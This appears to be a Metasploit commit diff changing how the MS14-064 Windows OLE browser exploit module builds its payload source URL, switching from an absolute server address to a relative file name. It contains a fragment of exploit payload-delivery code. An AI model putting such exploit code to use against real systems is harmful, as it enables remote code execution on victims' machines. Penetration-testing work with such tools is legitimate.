Land #4988, Relative URL for ms14_064_ole_code_execution

2015-03-26 13:36:37 -05:00 · 2015-03-26 13:36:37 -05:00 · 955c0557e0
parent 68cb766681 89e27d98ab
commit 955c0557e0
1 changed files with 1 additions and 4 deletions
--- a/modules/exploits/windows/browser/ms14_064_ole_code_execution.rb
+++ b/modules/exploits/windows/browser/ms14_064_ole_code_execution.rb
@ -277,10 +277,7 @@ end function
    vbs_name = "#{Rex::Text.rand_text_alpha(rand(16)+4)}.vbs"
    gif_name = "#{Rex::Text.rand_text_alpha(rand(5)+3)}.gif"

-    payload_src  = (datastore['SSL'] ? 'https' : 'http')
-    payload_src << '://'
-    payload_src << (datastore['SRVHOST'] == '0.0.0.0' ? Rex::Socket.source_address : datastore['SRVHOST'])
-    payload_src << ":#{datastore['SRVPORT']}#{get_module_resource}/#{gif_name}"
+    payload_src = "#{gif_name}"

    # I tried to use ADODB.Stream to save my downloaded executable, but I was hitting an issue
    # with it, so I ended up with Scripting.FileSystemObject. Not so bad I guess.